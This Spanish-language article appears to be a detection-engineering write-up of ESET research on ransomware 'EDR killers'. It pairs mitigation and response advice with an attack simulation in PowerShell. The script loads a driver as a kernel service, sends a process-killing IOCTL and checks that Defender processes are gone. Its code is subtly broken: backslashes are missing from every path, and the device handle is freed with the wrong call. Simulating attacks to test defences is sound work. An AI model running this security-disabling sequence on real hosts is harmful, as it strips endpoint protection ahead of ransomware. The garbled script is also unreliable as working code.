ESET Research explica los asesinos de EDR: Más allá de los controladores

Resumen

El artículo explora el ecosistema de asesinos de EDR que los operadores de ransomware utilizan para neutralizar la protección de los endpoints antes de lanzar los cifradores. Explica cómo los adversarios dependen de controladores vulnerables, utilidades anti-rootkit legítimas, e incluso técnicas sin controlador para evadir defensas y desactivar el software de seguridad. Los hallazgos están basados en telemetría que cubre casi 90 EDR asesinos vistos en ataques del mundo real. La investigación también subraya el papel de los afiliados de ransomware, el uso repetido de los mismos controladores y el creciente mercado de servicios comercializados de asesinos de EDR.

Investigación

Los investigadores de ESET analizaron telemetría, repositorios de código y casos documentados de intrusión para rastrear cómo se construyen, distribuyen y despliegan los asesinos de EDR. Clasificaron múltiples familias, incluidas variantes basadas en controladores, scripts, anti-rootkit y sin controlador, y las vincularon a grupos de ransomware como Warlock, LockBit, Akira y Medusa. El estudio también destacó la armamentización del código público de prueba de concepto y la creciente influencia del desarrollo asistido por IA en este ecosistema de herramientas.

Mitigación

Los defensores deben bloquear controladores vulnerables conocidos, monitorear el uso anormal de comandos administrativos privilegiados y detectar binarios conocidos de asesinos de EDR y patrones de comportamiento. Las detecciones en capas que identifican la instalación de controladores, la terminación forzada de productos de seguridad y comportamientos inusuales de bloqueo de red pueden reducir la ventana de tiempo que tienen los atacantes antes de que comience la ejecución del ransomware.

Respuesta

Si se detecta un asesino de EDR, aísle el host inmediatamente, termine el proceso malicioso, elimine cualquier controlador no autorizado y confirme que los controles de seguridad estén completamente restaurados. Continúe con un análisis forense para determinar qué carga útil de ransomware o actividad de afiliado está asociada con la intrusión y active el flujo de trabajo de respuesta a incidentes más amplio.

Ejecución de Simulación

Prerequisito: La verificación previa de telemetría y línea base debe haber pasado.

Narrativa de Ataque & Comandos

1. Etapa 1 – Dejar caer el controlador malicioso
   El atacante escribe un binario del controlador (EdrKiller.sys) en C:WindowsTemp y lo registra como un servicio llamado EdrKillerSvc.

2. Etapa 2 – Iniciar el servicio del controlador
   Iniciar el servicio carga el controlador en el espacio del kernel, donde registra un manejador IOCTL capaz de terminar procesos.

3. Etapa 3 – Emitir el DeviceIoControl malicioso
   Usando PowerShell, el atacante abre un manejo a .EdrKiller y envía el código IOCTL 0x9C040001 (código «TerminateProcess» hipotético). El controlador itera la lista de procesos, mata cualquier proceso cuyo nombre ejecutable coincida con un componente EDR conocido.

4. Etapa 4 – Verificar terminación
   El atacante verifica que los procesos EDR objetivos ya no estén ejecutándose.

Script de Prueba de Regresión

# --------------------------------------------------------------
# Simulación de Asesino de EDR – PowerShell (requiere administrador)
# --------------------------------------------------------------

# 1. Rutas & variables
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # Código de control de ejemplo para "TerminateProcesses"

# 2. Desplegar controlador malicioso (simulado – reemplace con un .sys real para prueba real)
#    Para propósitos de demostración copiamos un controlador legítimo (por ejemplo, null.sys) para actuar como marcador de posición.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Crear e iniciar el servicio que carga el controlador
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # dar tiempo al controlador para inicializar

# 4. Definir P/Invoke de DeviceIoControl
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Abrir manejo al controlador
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Failed to open handle to $deviceName"
    exit 1
}

# 6. Emitir el IOCTL malicioso
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "DeviceIoControl malicioso enviado con éxito."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl falló con el error $err"
}

# 7. Cerrar manejo
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Verificar que los típicos procesos EDR se hayan ido (nombres de ejemplo)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc todavía está funcionando."
    } else {
        Write-Host "$proc terminado con éxito."
    }
}

Comandos de Limpieza

# Detener y eliminar el servicio de controlador malicioso
sc.exe stop $serviceName
sc.exe delete $serviceName

# Eliminar archivo de controlador falso
Remove-Item -Path $driverPath -Force

Write-Host "Limpieza completada."